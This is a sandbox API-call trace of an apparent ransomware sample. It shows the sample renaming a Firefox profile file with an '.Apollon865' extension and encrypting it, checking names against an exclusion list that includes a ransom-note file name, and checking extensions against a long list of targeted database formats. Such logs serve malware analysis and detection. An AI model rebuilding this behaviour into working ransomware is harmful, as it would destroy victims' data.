	[0040.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3072e7d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3072e7d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.834] lstrcpyW (in: lpString1=0x2d3e600, lpString2="addons.json" | out: lpString1="addons.json") returned="addons.json"
	[0040.834] lstrlenW (lpString="addons.json") returned 11
	[0040.834] lstrlenW (lpString="Apollon865") returned 10
	[0040.834] lstrcmpiW (lpString1="ddons.json", lpString2="Apollon865") returned 1
	[0040.834] lstrlenW (lpString=".dll") returned 4
	[0040.834] lstrcmpiW (lpString1="addons.json", lpString2=".dll") returned 1
	[0040.834] lstrlenW (lpString=".lnk") returned 4
	[0040.834] lstrcmpiW (lpString1="addons.json", lpString2=".lnk") returned 1
	[0040.834] lstrlenW (lpString=".ini") returned 4
	[0040.834] lstrcmpiW (lpString1="addons.json", lpString2=".ini") returned 1
	[0040.834] lstrlenW (lpString=".sys") returned 4
	[0040.834] lstrcmpiW (lpString1="addons.json", lpString2=".sys") returned 1
	[0040.834] lstrlenW (lpString="addons.json") returned 11
	[0040.834] lstrcpyW (in: lpString1=0x2d3e600, lpString2="bookmarkbackups" | out: lpString1="bookmarkbackups") returned="bookmarkbackups"
	[0040.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd0) returned 0x5a5368
	[0040.835] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.835] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb47c9bf0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb47c9bf0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x853f60d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cert8.db", cAlternateFileName="")) returned 1
	[0040.835] lstrcpyW (in: lpString1=0x2d3e600, lpString2="cert8.db" | out: lpString1="cert8.db") returned="cert8.db"
	[0040.835] lstrlenW (lpString="cert8.db") returned 8
	[0040.835] lstrlenW (lpString="Apollon865") returned 10
	[0040.835] lstrlenW (lpString=".dll") returned 4
	[0040.835] lstrcmpiW (lpString1="cert8.db", lpString2=".dll") returned 1
	[0040.835] lstrlenW (lpString=".lnk") returned 4
	[0040.835] lstrcmpiW (lpString1="cert8.db", lpString2=".lnk") returned 1
	[0040.835] lstrlenW (lpString=".ini") returned 4
	[0040.835] lstrcmpiW (lpString1="cert8.db", lpString2=".ini") returned 1
	[0040.835] lstrlenW (lpString=".sys") returned 4
	[0040.835] lstrcmpiW (lpString1="cert8.db", lpString2=".sys") returned 1
	[0040.835] lstrlenW (lpString="cert8.db") returned 8
	[0040.835] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.Apollon865") returned 107
	[0040.835] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db.apollon865"), dwFlags=0x1) returned 1
	[0040.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0040.854] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=65536) returned 1
	[0040.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0040.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0040.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0040.855] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0040.856] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0040.856] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.856] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10300, lpName=0x0) returned 0x150
	[0040.864] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10300) returned 0x120000
	[0040.869] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0040.870] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0040.870] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0040.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0040.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0040.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0040.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0040.870] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0040.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0040.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0040.871] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0040.871] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0040.871] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0040.871] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0040.872] CloseHandle (hObject=0x150) returned 1
	[0040.872] CloseHandle (hObject=0x154) returned 1
	[0040.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0040.874] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0040.874] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0040.874] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb26740e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80696ec0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="Apollon865.txt.exe") returned 1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2=".") returned 1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="..") returned 1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="windows") returned -1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="bootmgr") returned 1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="temp") returned -1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="pagefile.sys") returned -1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="boot") returned 1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="ids.txt") returned -1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="ntuser.dat") returned -1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="perflogs") returned -1
	[0040.874] lstrcmpiW (lpString1="compatibility.ini", lpString2="MSBuild") returned -1
	[0040.874] lstrlenW (lpString="compatibility.ini") returned 17
	[0040.874] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db") returned 96
	[0040.874] lstrcpyW (in: lpString1=0x2d3e600, lpString2="compatibility.ini" | out: lpString1="compatibility.ini") returned="compatibility.ini"
	[0040.875] lstrlenW (lpString="compatibility.ini") returned 17
	[0040.875] lstrlenW (lpString="Apollon865") returned 10
	[0040.875] lstrcmpiW (lpString1="bility.ini", lpString2="Apollon865") returned 1
	[0040.875] lstrlenW (lpString=".dll") returned 4
	[0040.875] lstrcmpiW (lpString1="compatibility.ini", lpString2=".dll") returned 1
	[0040.875] lstrlenW (lpString=".lnk") returned 4
	[0040.875] lstrcmpiW (lpString1="compatibility.ini", lpString2=".lnk") returned 1
	[0040.875] lstrlenW (lpString=".ini") returned 4
	[0040.875] lstrcmpiW (lpString1="compatibility.ini", lpString2=".ini") returned 1
	[0040.875] lstrlenW (lpString=".sys") returned 4
	[0040.875] lstrcmpiW (lpString1="compatibility.ini", lpString2=".sys") returned 1
	[0040.875] lstrlenW (lpString="compatibility.ini") returned 17
	[0040.875] lstrlenW (lpString="bak") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0040.875] lstrlenW (lpString="ba_") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0040.875] lstrlenW (lpString="dbb") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0040.875] lstrlenW (lpString="vmdk") returned 4
	[0040.875] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0040.875] lstrlenW (lpString="rar") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0040.875] lstrlenW (lpString="zip") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0040.875] lstrlenW (lpString="tgz") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0040.875] lstrlenW (lpString="vbox") returned 4
	[0040.875] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0040.875] lstrlenW (lpString="vdi") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0040.875] lstrlenW (lpString="vhd") returned 3
	[0040.875] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0040.875] lstrlenW (lpString="vhdx") returned 4
	[0040.875] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0040.875] lstrlenW (lpString="avhd") returned 4
	[0040.875] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0040.875] lstrlenW (lpString="db") returned 2
	[0040.876] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0040.876] lstrlenW (lpString="db2") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0040.876] lstrlenW (lpString="db3") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0040.876] lstrlenW (lpString="dbf") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0040.876] lstrlenW (lpString="mdf") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0040.876] lstrlenW (lpString="mdb") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0040.876] lstrlenW (lpString="sql") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0040.876] lstrlenW (lpString="sqlite") returned 6
	[0040.876] lstrcmpiW (lpString1="ty.ini", lpString2="sqlite") returned 1
	[0040.876] lstrlenW (lpString="sqlite3") returned 7
	[0040.876] lstrcmpiW (lpString1="ity.ini", lpString2="sqlite3") returned -1
	[0040.876] lstrlenW (lpString="sqlitedb") returned 8
	[0040.876] lstrcmpiW (lpString1="lity.ini", lpString2="sqlitedb") returned -1
	[0040.876] lstrlenW (lpString="xml") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0040.876] lstrlenW (lpString="$er") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0040.876] lstrlenW (lpString="4dd") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0040.876] lstrlenW (lpString="4dl") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0040.876] lstrlenW (lpString="^^^") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0040.876] lstrlenW (lpString="abs") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0040.876] lstrlenW (lpString="abx") returned 3
	[0040.876] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0040.876] lstrlenW (lpString="accdb") returned 5
	[0040.876] lstrcmpiW (lpString1="y.ini", lpString2="accdb") returned 1
	[0040.876] lstrlenW (lpString="accdc") returned 5
	[0040.876] lstrcmpiW (lpString1="y.ini", lpString2="accdc") returned 1
	[0040.876] lstrlenW (lpString="accde") returned 5
	[0040.876] lstrcmpiW (lpString1="y.ini", lpString2="accde") returned 1
	[0040.877] lstrlenW (lpString="accdr") returned 5
	[0040.877] lstrcmpiW (lpString1="y.ini", lpString2="accdr") returned 1
	[0040.877] lstrlenW (lpString="accdt") returned 5
	[0040.877] lstrcmpiW (lpString1="y.ini", lpString2="accdt") returned 1
	[0040.877] lstrlenW (lpString="accdw") returned 5
	[0040.877] lstrcmpiW (lpString1="y.ini", lpString2="accdw") returned 1
	[0040.877] lstrlenW (lpString="accft") returned 5
	[0040.877] lstrcmpiW (lpString1="y.ini", lpString2="accft") returned 1
	[0040.877] lstrlenW (lpString="adb") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.877] lstrlenW (lpString="adb") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0040.877] lstrlenW (lpString="ade") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0040.877] lstrlenW (lpString="adf") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0040.877] lstrlenW (lpString="adn") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0040.877] lstrlenW (lpString="adp") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0040.877] lstrlenW (lpString="alf") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0040.877] lstrlenW (lpString="ask") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0040.877] lstrlenW (lpString="btr") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0040.877] lstrlenW (lpString="cat") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0040.877] lstrlenW (lpString="cdb") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0040.877] lstrlenW (lpString="ckp") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0040.877] lstrlenW (lpString="cma") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0040.877] lstrlenW (lpString="cpd") returned 3
	[0040.877] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0040.878] lstrlenW (lpString="dacpac") returned 6
	[0040.878] lstrcmpiW (lpString1="ty.ini", lpString2="dacpac") returned 1
	[0040.878] lstrlenW (lpString="dad") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0040.878] lstrlenW (lpString="dadiagrams") returned 10
	[0040.878] lstrcmpiW (lpString1="bility.ini", lpString2="dadiagrams") returned -1
	[0040.878] lstrlenW (lpString="daschema") returned 8
	[0040.878] lstrcmpiW (lpString1="lity.ini", lpString2="daschema") returned 1
	[0040.878] lstrlenW (lpString="db-journal") returned 10
	[0040.878] lstrcmpiW (lpString1="bility.ini", lpString2="db-journal") returned -1
	[0040.878] lstrlenW (lpString="db-shm") returned 6
	[0040.878] lstrcmpiW (lpString1="ty.ini", lpString2="db-shm") returned 1
	[0040.878] lstrlenW (lpString="db-wal") returned 6
	[0040.878] lstrcmpiW (lpString1="ty.ini", lpString2="db-wal") returned 1
	[0040.878] lstrlenW (lpString="dbc") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0040.878] lstrlenW (lpString="dbs") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0040.878] lstrlenW (lpString="dbt") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0040.878] lstrlenW (lpString="dbv") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0040.878] lstrlenW (lpString="dbx") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0040.878] lstrlenW (lpString="dcb") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0040.878] lstrlenW (lpString="dct") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0040.878] lstrlenW (lpString="dcx") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0040.878] lstrlenW (lpString="ddl") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0040.878] lstrlenW (lpString="dlis") returned 4
	[0040.878] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0040.878] lstrlenW (lpString="dp1") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0040.878] lstrlenW (lpString="dqy") returned 3
	[0040.878] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0040.879] lstrlenW (lpString="dsk") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0040.879] lstrlenW (lpString="dsn") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0040.879] lstrlenW (lpString="dtsx") returned 4
	[0040.879] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0040.879] lstrlenW (lpString="dxl") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0040.879] lstrlenW (lpString="eco") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0040.879] lstrlenW (lpString="ecx") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0040.879] lstrlenW (lpString="edb") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0040.879] lstrlenW (lpString="epim") returned 4
	[0040.879] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0040.879] lstrlenW (lpString="fcd") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0040.879] lstrlenW (lpString="fdb") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0040.879] lstrlenW (lpString="fic") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0040.879] lstrlenW (lpString="flexolibrary") returned 12
	[0040.879] lstrcmpiW (lpString1="tibility.ini", lpString2="flexolibrary") returned 1
	[0040.879] lstrlenW (lpString="fm5") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0040.879] lstrlenW (lpString="fmp") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0040.879] lstrlenW (lpString="fmp12") returned 5
	[0040.879] lstrcmpiW (lpString1="y.ini", lpString2="fmp12") returned 1
	[0040.879] lstrlenW (lpString="fmpsl") returned 5
	[0040.879] lstrcmpiW (lpString1="y.ini", lpString2="fmpsl") returned 1
	[0040.879] lstrlenW (lpString="fol") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0040.879] lstrlenW (lpString="fp3") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0040.879] lstrlenW (lpString="fp4") returned 3
	[0040.879] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0040.880] lstrlenW (lpString="fp5") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0040.880] lstrlenW (lpString="fp7") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0040.880] lstrlenW (lpString="fpt") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0040.880] lstrlenW (lpString="frm") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0040.880] lstrlenW (lpString="gdb") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.880] lstrlenW (lpString="gdb") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0040.880] lstrlenW (lpString="grdb") returned 4
	[0040.880] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0040.880] lstrlenW (lpString="gwi") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0040.880] lstrlenW (lpString="hdb") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0040.880] lstrlenW (lpString="his") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0040.880] lstrlenW (lpString="ib") returned 2
	[0040.880] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0040.880] lstrlenW (lpString="idb") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0040.880] lstrlenW (lpString="ihx") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0040.880] lstrlenW (lpString="itdb") returned 4
	[0040.880] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0040.880] lstrlenW (lpString="itw") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0040.880] lstrlenW (lpString="jet") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0040.880] lstrlenW (lpString="jtx") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0040.880] lstrlenW (lpString="kdb") returned 3
	[0040.880] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0040.880] lstrlenW (lpString="kexi") returned 4
	[0040.880] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0040.880] lstrlenW (lpString="kexic") returned 5
	[0040.881] lstrcmpiW (lpString1="y.ini", lpString2="kexic") returned 1
	[0040.881] lstrlenW (lpString="kexis") returned 5
	[0040.881] lstrcmpiW (lpString1="y.ini", lpString2="kexis") returned 1
	[0040.881] lstrlenW (lpString="lgc") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0040.881] lstrlenW (lpString="lwx") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0040.881] lstrlenW (lpString="maf") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0040.881] lstrlenW (lpString="maq") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0040.881] lstrlenW (lpString="mar") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0040.881] lstrlenW (lpString="marshal") returned 7
	[0040.881] lstrcmpiW (lpString1="ity.ini", lpString2="marshal") returned -1
	[0040.881] lstrlenW (lpString="mas") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0040.881] lstrlenW (lpString="mav") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0040.881] lstrlenW (lpString="maw") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0040.881] lstrlenW (lpString="mdbhtml") returned 7
	[0040.881] lstrcmpiW (lpString1="ity.ini", lpString2="mdbhtml") returned -1
	[0040.881] lstrlenW (lpString="mdn") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0040.881] lstrlenW (lpString="mdt") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0040.881] lstrlenW (lpString="mfd") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0040.881] lstrlenW (lpString="mpd") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0040.881] lstrlenW (lpString="mrg") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0040.881] lstrlenW (lpString="mud") returned 3
	[0040.881] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0040.881] lstrlenW (lpString="mwb") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0040.882] lstrlenW (lpString="myd") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0040.882] lstrlenW (lpString="ndf") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0040.882] lstrlenW (lpString="nnt") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0040.882] lstrlenW (lpString="nrmlib") returned 6
	[0040.882] lstrcmpiW (lpString1="ty.ini", lpString2="nrmlib") returned 1
	[0040.882] lstrlenW (lpString="ns2") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0040.882] lstrlenW (lpString="ns3") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0040.882] lstrlenW (lpString="ns4") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0040.882] lstrlenW (lpString="nsf") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0040.882] lstrlenW (lpString="nv") returned 2
	[0040.882] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0040.882] lstrlenW (lpString="nv2") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0040.882] lstrlenW (lpString="nwdb") returned 4
	[0040.882] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0040.882] lstrlenW (lpString="nyf") returned 3
	[0040.882] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0040.882] lstrlenW (lpString="odb") returned 3
